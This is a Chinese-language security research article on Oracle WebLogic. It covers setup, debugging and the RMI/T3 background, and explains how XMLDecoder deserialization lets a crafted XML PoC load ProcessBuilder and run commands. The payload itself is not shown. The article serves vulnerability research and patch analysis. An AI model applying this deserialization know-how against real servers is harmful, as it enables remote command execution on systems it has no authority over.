作者: 圖南,r00t4dm @奇安信A-TEAM
公眾號: 奇安信 CERT
可能是你能找到的最詳細的WebLogic安全相關中文文檔
序
從我還未涉足安全領域起,就知道WebLogic的漏洞總會在安全圈內變成熱點話題。WebLogic爆出新漏洞的時候一定會在朋友圈刷屏。在從事安全行業之后,跟了幾個WebLogic漏洞,寫了一些分析,也嘗試挖掘新漏洞和繞過補丁。但因為能力有限,還需要對WebLogic,以及Java反序列化有更深入的了解才能在漏洞挖掘和研究上更得心應手。因此決定寫這樣一篇長文把我所理解的WebLogic和WebLogic漏洞成因、還有這一切涉及到的相關知識講清楚,也是自己深入WebLogic的過程。因此,本文不是一篇純漏洞分析,而主要在講“是什么”、“什么樣”、“為什么”。希望把和WebLogic漏洞有關的方方面面都講一些,今后遇到類似的問題有據可查。
本文由@r00t4dm和我共同編寫,@r00t4dm對XMLDecoder反序列化漏洞做過深入研究,這篇文中的有關WebLogic XMLDecoder反序列化漏洞部分由他編寫,其他部分由我編寫。我倆水平有限,不足之處請批評指正。下面是我倆的個人簡介:
圖南:開發出身,擅長寫漏洞。現就職于奇安信A-TEAM做Web方向漏洞研究工作。
r00t4dm:奇安信A-TEAM信息安全工程師,專注于Java安全
我們都屬于奇安信A-TEAM團隊,以下是A-TEAM的簡介:
奇安信 A-TEAM 是隸屬于奇安信集團旗下的純技術研究團隊。團隊主要致力于 Web 滲透,APT 攻防、對抗,前瞻性攻防工具預研。從底層原理、協議層面進行嚴肅、有深度的技術研究,深入還原攻與防的技術本質。
歡迎有意者加入!
閑話說到這里,我們開始吧。
WebLogic簡介
在我對WebLogic做漏洞分析的時候其實并不了解WebLogic是什么東西,以及怎樣使用,所以我通讀了一遍官方文檔,并加入了一些自己的理解,將WebLogic完整的介紹一下。
中間件(Middleware)
中間件是指連接軟件組件或企業應用程序的軟件。中間件是位于操作系統和分布式計算機網絡兩側的應用程序之間的軟件層。它可以被描述為“軟件膠水。通常,它支持復雜的分布式業務軟件應用程序。

Oracle定義中間件的組成包括Web服務器、應用程序服務器、內容管理系統及支持應用程序開發和交付的類似工具,它通常基于可擴展標記語言(XML)、簡單對象訪問協議(SOAP)、Web服務、SOA、Web 2.0和輕量級目錄訪問協議(LDAP)等技術。
Oracle融合中間件(Oracle Fusion Middleware)
Oracle融合中間件是Oracle提出的概念,Oracle融合中間件為復雜的分布式業務軟件應用程序提供解決方案和支持。Oracle融合中間件是一系列軟件產品并包括一系列工具和服務, 如:符合Java Enterprise Edition 5(Java EE)的開發和運行環境、商業智能、協作和內容管理等。Oracle融合中間件為開發、部署和管理提供全面的支持。Oracle融合中間件通常提供以下圖中所示的解決方案:

Oracle融合中間件提供兩種類型的組件:
- Java組件
Java組件用于部署一個或多個Java應用程序,Java組件作為域模板部署到Oracle WebLogic Server域中。這里提到的Oracle WebLogic Server域在后面會隨著Oracle WebLogic Server詳細解釋。
- 系統組件
系統組件是被Oracle Process Manager and Notification (OPMN)管理的進程,其不作為Java應用程序部署。系統組件包括Oracle HTTP Server、Oracle Web Cache、Oracle Internet Directory、Oracle Virtual Directory、Oracle Forms Services、Oracle Reports、Oracle Business Intelligence Discoverer、Oracle Business Intelligence。
Oracle WebLogic Server(WebLogic)
Oracle WebLogic Server(以下簡稱WebLogic)是一個可擴展的企業級Java平臺(Java EE)應用服務器。其完整實現了Java EE 5.0規范,并且支持部署多種類型的分布式應用程序。
在前面Oracle融合中間件的介紹中,我們已經發現了其中貫穿著WebLogic的字眼,且Oracle融合中間件和WebLogic也是我在漏洞分析時經常混淆的。實際上WebLogic是組成Oracle融合中間件的核心。幾乎所有的Oracle融合中間件產品都需要運行WebLogic Server。因此,本質上,WebLogic Server不是Oracle融合中間件,而是構建或運行Oracle融合中間件的基礎,Oracle融合中間件和WebLogic密不可分卻在概念上不相等。
Oracle WebLogic Server域
Oracle WebLogic Server域又是WebLogic的核心。Oracle WebLogic Server域是一組邏輯上相關的Oracle WebLogic Server資源組。域包括一個名為Administration Server的特殊Oracle WebLogic Server實例,它是配置和管理域中所有資源的中心點。也就是說無論是Web應用程序、EJB(Enterprise JavaBeans)、Web服務和其他資源的部署和管理都通過Administration Server完成。

Oracle WebLogic Server集群
WebLogic Server群集由多個同時運行的WebLogic Server服務器實例組成,它們協同工作以提供更高的可伸縮性和可靠性。因為WebLogic本身就是為分布式設計的中間件,所以集群功能也是WebLogic的重要功能之一。也就有了集群間通訊和同步,WebLogic的眾多安全漏洞也是基于這個特性。
WebLogic的版本
WebLogic版本眾多,但是現在我們經常見到的只有兩個類別:10.x和12.x,這兩個大版本也叫WebLogic Server 11g和WebLogic Server 12c。
根據Oracle官方下載頁面https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html(從下向上看):
10.x的版本為Oracle WebLogic Server 10.3.6,這個版本也是大家用來做漏洞分析的時候最喜歡拿來用的版本。P牛的vulhub(https://github.com/vulhub/vulhub)中所有WebLogic漏洞靶場都是根據這個版本搭建的。
12.x的主要版本有:
- Oracle WebLogic Server 12.1.3
- Oracle WebLogic Server 12.2.1
- Oracle WebLogic Server 12.2.1.1
- Oracle WebLogic Server 12.2.1.2
- Oracle WebLogic Server 12.2.1.3
值得注意的是,Oracle WebLogic Server 10.3.6支持的最低JDK版本為JDK1.6, Oracle WebLogic Server 12.1.3支持的最低JDK版本為JDK1.7,Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本為JDK1.8。因此由于JDK的版本不同,尤其是反序列化漏洞的利用方式會略有不同。同時,不同的Oracle WebLogic Server版本依賴的組件(jar包)也不盡相同,因此不同的WebLogic版本在反序列化漏洞的利用上可能需要使用不同的Gadget鏈(反序列化漏洞的利用鏈條)。但這些技巧性的東西不是本文的重點,請參考其他文章。如果出現一些PoC在某些時候可以利用,某些時候利用不成功的情況,應考慮到這兩點。
WebLogic的安裝
在我做WebLogic相關的漏洞分析時,搭建環境的過程可謂痛苦。某些時候需要測試不同的WebLogic版本和不同的JDK版本各種排列組合。于是在我寫這篇文章的同時,我也對解決WebLogic環境搭建這個痛點上做了一點努力。隨這篇文章會開源一個Demo級別的WebLogic環境搭建工具,工具地址:https://github.com/QAX-A-Team/WeblogicEnvironment關于這個工具我會在后面花一些篇幅具體說,這里我先把WebLogic的安裝思路和一些坑點整理一下。注意后面內容中出現的$MW_HOME均為middleware中間件所在目錄,$WLS_HOME均為WebLogic Server所在目錄。
第一步:安裝JDK。首先需要明確你要使用的WebLogic版本,WebLogic的安裝需要JDK的支持,因此參考上一節各個WebLogic版本所對應的JDK最低版本選擇下載和安裝對應的JDK。一個小技巧,如果是做安全研究,直接安裝對應WebLogic版本支持的最低JDK版本更容易復現成功。
第二步:安裝WebLogic。從Oracle官方下載頁面下載對應的WebLogic安裝包,如果你的操作系統有圖形界面,可以雙擊直接安裝。如果你的操作系統沒有圖形界面,參考靜默安裝文檔安裝。11g和12c的靜默安裝方式不盡相同:
11g靜默安裝文檔:https://oracle-base.com/articles/11g/weblogic-silent-installation-11g12c靜默安裝文檔:https://oracle-base.com/articles/12c/weblogic-silent-installation-12c
第三步:創建Oracle WebLogic Server域。前兩步的安裝都完成之后,要啟動WebLogic還需要創建一個WebLogic Server域,如果有圖形界面,在$WLS_HOME\common\bin中找到config.cmd(Windows)或config.sh(Unix/Linux)雙擊,按照向導創建域即可。同樣的,創建域也可以使用靜默創建方式,參考文檔:《Silent Oracle Fusion Middleware Installation and Deinstallation——Creating a WebLogic Domain in Silent Mode》
第四步:啟動WebLogic Server。我們通過上面的步驟已經創建了域,在對應域目錄下的bin/文件夾找到startWebLogic.cmd(Windows)或startWebLogic.sh(Unix/Linux),運行即可。
下圖為已啟動的WebLogic Server:

安裝完成后,打開瀏覽器訪問“http://localhost:7001/console/”,輸入安裝時設置的賬號密碼,即可看到WebLogic Server管理控制臺:

看到這個頁面說明我們已經完成了WebLogic Server的環境搭建。WebLogic集群不在本文的討論范圍。關于這個頁面的內容,主要圍繞著Java EE規范的全部實現和管理展開,以及WebLogic Server自身的配置。非常的龐大。也不是本文能講完的。
WebLogic官方示例
在我研究WebLogic的時候,官方文檔經常提到官方示例,但我正常安裝后并沒有找到任何示例源碼(sample文件夾)。這是因為官方示例在一個補充安裝包中。如果需要看官方示例,請在下載WebLogic安裝包的同時下載補充安裝包,在安裝好WebLogic后,按照文檔安裝補充安裝包,官方示例即是一個單獨的WebLogic Server域:

WebLogic遠程調試
若要遠程調試WebLogic,需要修改當前WebLogic Server域目錄下bin/setDomainEnv.sh文件,添加如下配置:
debugFlag="true"
export debugFlag
然后重啟當前WebLogic Server域,并拷貝出兩個文件夾:$MW_HOME/modules(11g)、$WLS_HOME/modules(12c)和$WLS_HOME/server/lib。
以IDEA為例,將上面的的lib和modules兩個文件夾添加到Library:

然后點擊 Debug-Add Configuration... 添加一個遠程調試配置如下:

然后點擊調試,出現以下字樣即可正常進行遠程調試。
Connected to the target VM, address: 'localhost:8453', transport: 'socket'
WebLogic安全補丁
WebLogic安全補丁通常發布在Oracle關鍵補丁程序更新、安全警報和公告(https://www.oracle.com/technetwork/topics/security/alerts-086861.html)頁面中。其中分為關鍵補丁程序更新(CPU)和安全警報(Oracle Security Alert Advisory)。
關鍵補丁程序更新為Oracle每個季度初定期發布的更新,通常發布時間為每年1月、4月、7月和10月。安全警報通常為漏洞爆出但距離關鍵補丁程序更新發布時間較長,臨時通過安全警報的方式發布補丁。
所有補丁的下載均需要Oracle客戶支持識別碼,也就是只有真正購買了Oracle的產品才能下載。
WebLogic漏洞分類
WebLogic爆出的漏洞以反序列化為主,通常反序列化漏洞也最為嚴重,官方漏洞評分通常達到9.8。WebLogic反序列化漏洞又可以分為XMLDecoder反序列化漏洞和T3反序列化漏洞。其他漏洞諸如任意文件上傳、XXE等等也時有出現。因此后面的文章將以WebLogic反序列化漏洞為主講解WebLogic安全問題。
下表列出了一些WebLogic已經爆出的漏洞情況:

Java序列化、反序列化和反序列化漏洞的概念
關于Java序列化、反序列化和反序列化漏洞的概念,可參考@gyyyy寫的一遍非常詳細的文章:《淺析Java序列化和反序列化》。這篇文章對這些概念做了詳細的闡述和分析。我這里只引用一段話來簡要說明Java反序列化漏洞的成因:
當服務端允許接收遠端數據進行反序列化時,客戶端可以提供任意一個服務端存在的目標類的對象 (包括依賴包中的類的對象) 的序列化二進制串,由服務端反序列化成相應對象。如果該對象是由攻擊者『精心構造』的惡意對象,而它自定義的readObject()中存在著一些『不安全』的邏輯,那么在對它反序列化時就有可能出現安全問題。
XMLDecoder反序列化漏洞
前置知識
XML
XML(Extensible Markup Language)是一種標記語言,在開發過程中,開發人員可以使用XML來進行數據的傳輸或充當配置文件。那么Java為了將對象持久化從而方便傳輸,就使得Philip Mine在JDK1.4中開發了一個用作持久化的工具,XMLDecoder與XMLEncoder。由于近期關于WebLogic XMLDecoder反序列化漏洞頻發,本文此部分旨在JDK1.7的環境下幫助大家深入了解XMLDecoder原理,如有錯誤,歡迎指正。
注:由于JDK1.6和JDK1.7的Handler實現均有不同,本文將重點關注JDK1.7
XMLDecder簡介
XMLDecoder是Philip Mine 在 JDK 1.4 中開發的一個用于將JavaBean或POJO對象序列化和反序列化的一套API,開發人員可以通過利用XMLDecoder的readObject()方法將任意的XML反序列化,從而使得整個程序更加靈活。
JAXP
Java API for XML Processing(JAXP)用于使用Java編程語言編寫的應用程序處理XML數據。JAXP利用Simple API for XML Parsing(SAX)和Document Object Model(DOM)解析標準解析XML,以便您可以選擇將數據解析為事件流或構建它的對象。JAXP還支持可擴展樣式表語言轉換(XSLT)標準,使您可以控制數據的表示,并使您能夠將數據轉換為其他XML文檔或其他格式,如HTML。JAXP還提供名稱空間支持,允許您使用可能存在命名沖突的DTD。從版本1.4開始,JAXP實現了Streaming API for XML(StAX)標準。

DOM和SAX其實都是XML解析規范,只需要實現這兩個規范即可實現XML解析。二者的區別從標準上來講,DOM是w3c的標準,而SAX是由XML_DEV郵件成員列表的成員維護,因為SAX的所有者David Megginson放棄了對它的所有權,所以SAX是一個自由的軟件。
DOM與SAX的區別
DOM在讀取XML數據的時候會生成一棵“樹”,當XML數據量很大的時候,會非常消耗性能,因為DOM會對這棵“樹”進行遍歷。而SAX在讀取XML數據的時候是線性的,在一般情況下,是不會有性能問題的。
圖為DOM與SAX更為具體的區別:

由于XMLDecoder使用的是SAX解析規范,所以本文不會展開討論DOM規范。
SAX
SAX是簡單XML訪問接口,是一套XML解析規范,使用事件驅動的設計模式,那么事件驅動的設計模式自然就會有事件源和事件處理器以及相關的注冊方法將事件源和事件處理器連接起來。

這里通過JAXP的工廠方法生成SAX對象,SAX對象使用SAXParser.parer()作為事件源,ContentHandler、ErrorHandler、DTDHandler、EntityResolver作為事件處理器,通過注冊方法將二者連接起來。

ContentHandler
這里看一下ContentHandler的幾個重要的方法。

使用SAX

筆者將使用SAX提供的API來對這段XML數據進行解析。
首先實現ContentHandler,ContentHandler是負責處理XML文檔內容的事件處理器。

然后實現ErrorHandler, ErrorHandler是負責處理一些解析時可能產生的錯誤。

最后使用Apache Xerces解析器完成解析。

以上就是在Java中使用SAX解析XML的全過程,開發人員可以利用XMLFilter實現對XML數據的過濾。SAX考慮到開發過程中出現的一些繁瑣步驟,所以在org.xml.sax.helper包實現了一個幫助類:DefaultHandler,DefaultHandler默認實現了四個事件處理器,開發人員只需要繼承DefaultHandler即可輕松使用SAX:


Apache Xerces

Apache Xerces解析器是一套用于解析、驗證、序列化和操作XML的軟件庫集合,它實現了很多解析規范,包括DOM和SAX規范,Java官方在JDK1.5集成了該解析器,并作為默認的XML的解析器。——引用自http://www.edankert.com/jaxpimplementations.html
XMLDecoder反序列化流程分析
JDK1.7的XMLDecoder實現了一個DocumentHandler,DocumentHandler在JDK1.6的基礎上增加了許多標簽,并且改進了很多地方的實現。下圖是對比JDK1.7的DocumentHandler與JDK1.6的ObjectHandler在標簽上的區別。
JDK1.7:

JDK1.6:

值得注意的是CVE-2019-2725的補丁繞過其中有一個利用方式就是基于JDK1.6。
數據如何到達xerces解析器
xmlDecodeTest.readObject():

java.beans.XMLDecoder.paringComplete():

com.sun.beans.decoder.DocumentHandler.parse():

com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl.parse():

com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl.parse():

com.sun.org.apache.xerces.internal.jaxp. AbstractSAXParser.parse():

com.sun.org.apache.xerces.internal.parsers. XMLParser.parse():

com.sun.org.apache.xerces.internal.parsers. XML11Configuration.parse():

- 在這里已經進入xerces解析器
com.sun.org.apache.xerces.internal.impl. XMLDocumentFragmentScannerImpl.scanDocument():

至此xerces開始解析XML,調用鏈如下:

Apache Xerces如何實現解析
Apache Xerces有數個驅動負責完成解析,每個驅動司職不同,下面來介紹一下幾個常用驅動的功能有哪些。

由于Xerces解析流程太過繁瑣,最后畫一個總結性的解析流程圖。

現在我們已經了解Apache Xerces是如何完成解析的,Apache Xerces解析器只負責解析XML中有哪些標簽,觀察XML語法是否合法等因素,最終Apache Xerces解析器都要將解析出來的結果丟給DocumentHandler完成后續操作。
DocumentHandler 工作原理
XMLDecoder在com.sun.beans.decoder實現了DocumentHandler,DocumentHandler繼承了DefaultHandler,并且定義了很多事件處理器:

我們先簡單的看一下這些標簽都有什么作用:
- object標簽代表一個對象,object標簽的值將會被這個對象當作參數。
This class is intended to handle <object> element.
This element looks like <void> element,
but its value is always used as an argument for element
that contains this one.
- class標簽主要負責類加載。
This class is intended to handle <class> element.
This element specifies Class values.
The result value is created from text of the body of this element.
The body parsing is described in the class {@link StringElementHandler}.
For example:
<class>java.lang.Class</class>
is shortcut to
<method name="forName" class="java.lang.Class">
<string>java.lang.Class</string>
</method>
which is equivalent to {@code Class.forName("java.lang.Class")} in Java code.
- void標簽主要與其他標簽搭配使用,void擁有一些比較值得關注的屬性,如class、method等。
This class is intended to handle<void>element.
This element looks like <object>element,
but its value is not used as an argument for element
that contains this one.
- array標簽主要負責數組的創建
This class is intended to handle<array>element,
that is used to array creation.
The {@code length} attribute specifies the length of the array.
The {@code class} attribute specifies the elements type.
The {@link Object} type is used by default.
For example:
<array length="10">
is equivalent to {@code new Component[10]} in Java code.
The {@code set} and {@code get} methods,
as defined in the {@link java.util.List} interface,
can be used as if they could be applied to array instances.
The {@code index} attribute can thus be used with arrays.
For example:
<array length="3" class="java.lang.String">
<void index="1">
<string>Hello, world<string>
</void>
</array>
is equivalent to the following Java code:
String[] s = new String[3];
s[1] = "Hello, world";
It is possible to omit the {@code length} attribute and
specify the values directly, without using {@code void} tags.
The length of the array is equal to the number of values specified.
For example:
<array id="array" class="int">
<int>123</int>
<int>456</int>
</array>
is equivalent to {@code int[] array = {123, 456}} in Java code.
- method標簽可以實現調用指定類的方法
This class is intended to handle <method> element.
It describes invocation of the method.
The {@code name} attribute denotes
the name of the method to invoke.
If the {@code class} attribute is specified
this element invokes static method of specified class.
The inner elements specifies the arguments of the method.
For example:
<method name="valueOf" class="java.lang.Long">
<string>10</string>
</method>
is equivalent to {@code Long.valueOf("10")} in Java code.
在基本了解這些標簽的作用之后,我們來看看WebLogic的PoC中為什么要用到這些標簽。
DocumentHandler將Apache Xerces返回的標簽分配給對應的事件處理器處理,比如XML的java標簽,如果java標簽內含有class屬性,則會利用反射加載類。

- object標簽能夠執行命令,是因為
ObjectElementHandler事件處理器在繼承NewElementHandler事件處理器后重寫了getValueObject()方法,使用Expression創建對象。

- new標簽 new標簽能夠執行命令,是因為
NewElementHandler事件處理器針對new標簽的class屬性有一個通過反射加載類的操作。


- void標簽 void標簽的事件處理器
VoidElementHandler繼承了ObjectElementHandler事件處理器,其本身并未實現任何方法,所以都會交給父類處理。

- class標簽的事件處理器
ClassElementHandler的getValue()使用反射拿到對象。

PoC分析
此部分將針對一個PoC進行一個簡單的分析,主要目的在于弄清這個PoC為什么能夠執行命令。

首先使用JavaElementHandler處理器將java標簽中的class屬性進行類加載。

接著會對object標簽進行處理,這一步主要是加載java.lang.ProcessBuilder類,由于ObjectElementHandler繼承于NewElementHandler,所以將會使用NewElementHandler處理器來完成對這個類的加載。

然后會對array標簽進行處理,這一步主要是構建一個string類型的數組,用于存放想要執行的命令,使用array標簽的length屬性可以指定數組的長度,由于ArrayElementHandler繼承NewElementHandler,所以由NewElementHandler處理器來完成數組的構建。

接著會對void標簽進行處理,這里主要是把想要執行的命令放到void標簽內,VoidElementHandler沒有任何實現,它只繼承了ObjectElementHandler,所以void標簽內的屬性都會由ObjectElementHandler處理器處理。

然后會對string標簽進行處理,這里主要是把string標簽內的值取出來,使用StringElementHandler處理器處理。

最后需要利用void標簽的method屬性來實現方法的調用,開始命令的執行,由于VoidElementHandler繼承ObjectElementHandler,所以將會由ObjectElementHandler處理器來完成處理。

最終在ObjectElementHandler處理器中,使用Expression完成命令的執行。

完整的解析鏈:

簡要漏洞分析
簡單的分析一下XMLDecoder反序列化漏洞,以WebLogic 10.3.6為例,我們可以將斷點放到WLSServletAdapter.clas128行,載入Payload,跟蹤完整的調用流程,也可以直接將斷點打在WorkContextServerTube.class的43行readHeaderOld()方法的調用上,其中var3參數即Payload所在:

繼續跟入,到WorkContextXmlInputAdapter.class的readUTF(),readUTF()調用了this.xmlDecoder.readObject(),完成了第一次反序列化:xmlDecoder反序列化。

第二次反序列化即是Payload中的鏈觸發的了,最終造成遠程命令執行。
補丁分析
WebLogic XMLDecoder系列漏洞的補丁通常在weblogic.wsee.workarea.WorkContextXmlInputAdapter.class中,是以黑名單的方式修補:

不過由于此系列漏洞經歷了多次的修補和繞過,現在已變成黑名單和白名單結合的修補方式,下圖為白名單:

T3反序列化漏洞
前置知識
在研究WebLogic相關的漏洞的時候大家一定見過JNDI、RMI、JRMP、T3這些概念,簡單的說,T3是WebLogic RMI調用時的通信協議,RMI又和JNDI有關系,JRMP是Java遠程方法協議。我曾經很不清晰這些概念,甚至混淆。因此在我真正開始介紹T3反序列化漏洞之前,我會對這些概念進行一一介紹。
JNDI
JNDI(Java Naming and Directory Interface)是SUN公司提供的一種標準的Java命名系統接口,JNDI提供統一的客戶端API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 JNDI可以兼容和訪問現有目錄服務如:DNS、XNam、LDAP、CORBA對象服務、文件系統、RMI、DSML v1&v2、NIS等。
我在這里用DNS做一個不嚴謹的比喻來理解JNDI。當我們想訪問一個網站的時候,我們已經習慣于直接輸入域名訪問了,但其實遠程計算機只有IP地址可供我們訪問,那就需要DNS服務做域名的解析,取到對應的主機IP地址。JNDI充當了類似的角色,使用統一的接口去查找對應的不同的服務類型。

看一下常見的JNDI的例子:
jdbc://<domain>:<port>
rmi://<domain>:<port>
ldap://<domain>:<port>
JNDI的查找一般使用lookup()方法如registry.lookup(name)。
RMI
RMI(Remote Method Invocation)即遠程方法調用。能夠讓在某個Java虛擬機上的對象像調用本地對象一樣調用另一個Java虛擬機中的對象上的方法。它支持序列化的Java類的直接傳輸和分布垃圾收集。
Java RMI的默認基礎通信協議為JRMP,但其也支持開發其他的協議用來優化RMI的傳輸,或者兼容非JVM,如WebLogic的T3和兼容CORBA的IIOP,其中T3協議為本文重點,后面會詳細說。
為了更好的理解RMI,我舉一個例子:
假設A公司是某個行業的翹楚,開發了一系列行業上領先的軟件。B公司想利用A公司的行業優勢進行一些數據上的交換和處理。但A公司不可能把其全部軟件都部署到B公司,也不能給B公司全部數據的訪問權限。于是A公司在現有的軟件結構體系不變的前提下開發了一些RMI方法。B公司調用A公司的RMI方法來實現對A公司數據的訪問和操作,而所有數據和權限都在A公司的控制范圍內,不用擔心B公司竊取其數據或者商業機密。
這種設計和實現很像當今流行的Web API,只不過RMI只支持Java原生調用,程序員在寫代碼的時候和調用本地方法并無太大差別,也不用關心數據格式的轉換和網絡上的傳輸。類似的做法在ASP.NET中也有同樣的實現叫WebServices。
RMI遠程方法調用通常由以下幾個部分組成:
- 客戶端對象
- 服務端對象
- 客戶端代理對象(stub)
- 服務端代理對象(skeleton)
下面來看一下最簡單的Java RMI要如何實現:
首先創建服務端對象類,先創建一個接口繼承java.rmi.Remote:
// IHello.java
import java.rmi.*;
public interface IHello extends Remote {
public String sayHello() throws RemoteException;
}
然后創建服務端對象類,實現這個接口:
// Hello.java
public class Hello implements IHello{
public Hello() {}
public String sayHello() {
return "Hello, world!";
}
}
創建服務端遠程對象骨架并綁定在JNDI Registry上:
// Server.java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Server{
public Server() throws RemoteException{}
public static void main(String args[]) {
try {
// 實例化服務端遠程對象
Hello obj = new Hello();
// 創建服務端遠程對象的骨架(skeleton)
IHello skeleton = (IHello) UnicastRemoteObject.exportObject(obj, 0);
// 將服務端遠程對象的骨架綁定到Registry上
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", skeleton);
System.err.println("Server ready");
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
RMI的服務端已經構建完成,繼續關注客戶端:
// Client.java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
private Client() {}
public static void main(String[] args) {
String host = (args.length < 1) ? "127.0.0.1" : args[0];
try {
Registry registry = LocateRegistry.getRegistry(host);
// 創建客戶端對象stub(存根)
IHello stub = (IHello) registry.lookup("Hello");
// 使用存根調用服務端對象中的方法
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Client exception: " + e.toString());
e.printStackTrace();
}
}
}
至此,簡單的RMI服務和客戶端已經構建完成,我們來看一下執行效果:
$ rmiregistry &
[1] 80849
$ java Server &
[2] 80935
Server ready
$ java Client
response: Hello, world!
Java RMI的調用過程抓包如下:
我們可以清晰的從客戶端調用包和服務端返回包中看到Java序列化魔術頭0xac 0xed:


因此可以證實Java RMI的調用過程是依賴Java序列化和反序列化的。
簡單解釋一下RMI的整個調用流程:

- 客戶端通過客戶端的Stub對象欲調用遠程主機對象上的方法
- Stub代理客戶端處理遠程對象調用請求,并且序列化調用請求后發送網絡傳輸
- 服務端遠程調用Skeleton對象收到客戶端發來的請求,代理服務端反序列化請求,傳給服務端
- 服務端接收到請求,方法在服務端執行然后將返回的結果對象傳給Skeleton對象
- Skeleton接收到結果對象,代理服務端將結果序列化,發送給客戶端
- 客戶端Stub對象拿到結果對象,代理客戶端反序列化結果對象傳給客戶端
我們不難發現,Java RMI的實現運用了程序設計模式中的代理模式,其中Stub代理了客戶端處理RMI,Skeleton代理了服務端處理RMI。
WebLogic RMI
WebLogic RMI和T3反序列化漏洞有很大關系,因為T3就是WebLogic RMI所使用的協議。網上關于漏洞的PoC很多,但是我們通過那些PoC只能看到它不正常(漏洞觸發)的樣子,卻很少能看到它正常工作的樣子。那么我們就從WebLogic RMI入手,一起看看它應該是什么樣的。
WebLogic RMI就是WebLogic對Java RMI的實現,它和我剛才講過的Java RMI大體一致,在功能和實現方式上稍有不同。我們來細數一下WebLogic RMI和Java RMI的不同之處。
- WebLogic RMI支持集群部署和負載均衡
因為WebLogic本身就是為分布式系統設計的,因此WebLogic RMI支持集群部署和負載均衡也不難理解了。
- WebLogic RMI的服務端會使用字節碼生成(Hot Code Generation)功能生成代理對象
WebLogic的字節碼生成功能會自動生成服務端的字節碼到內存。不再生成Skeleton骨架對象,也不需要使用UnicastRemoteObject對象。
- WebLogic RMI客戶端使用動態代理
在WebLogic RMI 客戶端中,字節碼生成功能會自動為客戶端生成代理對象,因此Stub也不再需要。
- WebLogic RMI主要使用T3協議(還有基于CORBA的IIOP協議)進行客戶端到服務端的數據傳輸
T3傳輸協議是WebLogic的自有協議,它有如下特點:
- 服務端可以持續追蹤監控客戶端是否存活(心跳機制),通常心跳的間隔為60秒,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。
- 通過建立一次連接可以將全部數據包傳輸完成,優化了數據包大小和網絡消耗。
下面我再簡單的實現一下WebLogic RMI,實現依據Oracle的WebLogic 12.2.1的官方文檔,但是官方文檔有諸多錯誤,所以我下面的實現和官方文檔不盡相同但保證可以運行起來。
首先依然是創建服務端對象類,先創建一個接口繼承java.rmi.Remote:
// IHello.java
package examples.rmi.hello;
import java.rmi.RemoteException;
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
創建服務端對象類,實現這個接口:
// HelloImpl.java
public class HelloImpl implements IHello {
public String sayHello() {
return "Hello Remote World!!";
}
}
創建服務端遠程對象,此時已不需要Skeleton對象和UnicastRemoteObject對象:
// HelloImpl.java
package examples.rmi.hello;
import javax.naming.*;
import java.rmi.RemoteException;
public class HelloImpl implements IHello {
private String name;
public HelloImpl(String s) throws RemoteException {
super();
name = s;
}
public String sayHello() throws java.rmi.RemoteException {
return "Hello World!";
}
public static void main(String args[]) throws Exception {
try {
HelloImpl obj = new HelloImpl("HelloServer");
Context ctx = new InitialContext();
ctx.bind("HelloServer", obj);
System.out.println("HelloImpl created and bound in the registry " +
"to the name HelloServer");
} catch (Exception e) {
System.err.println("HelloImpl.main: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}
}
WebLogic RMI的服務端已經構建完成,客戶端也不再需要Stub對象:
// HelloClient.java
package examples.rmi.hello;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloClient {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
int port;
String host;
private static void usage() {
System.err.println("Usage: java examples.rmi.hello.HelloClient " +
"<hostname> <port number>");
}
public HelloClient() {
}
public static void main(String[] argv) throws Exception {
if (argv.length < 2) {
usage();
return;
}
String host = argv[0];
int port = 0;
try {
port = Integer.parseInt(argv[1]);
} catch (NumberFormatException nfe) {
usage();
throw nfe;
}
try {
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
IHello obj = (IHello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer on " +
host + " at port " +
port + ": " + obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
最后記得項目中引入wlthint3client.jar這個jar包供客戶端調用時可以找到weblogic.jndi.WLInitialContextFactory。
簡單的WebLogic RMI服務端和客戶端已經構建完成,此時我們無法直接運行,需要生成jar包去WebLogic Server 管理控制臺中部署運行。
生成jar包可以使用大家常用的build工具,如ant、maven等。我這里提供的是maven的構建配置:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>examples.rmi</groupId>
<artifactId>hello</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>examples.rmi.hello.HelloImpl</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
構建成功后,將jar包復制到WebLogic Server域對應的lib/文件夾中,通過WebLogic Server 管理控制臺中的啟動類和關閉類部署到WebLogic Server中,新建啟動類如下:

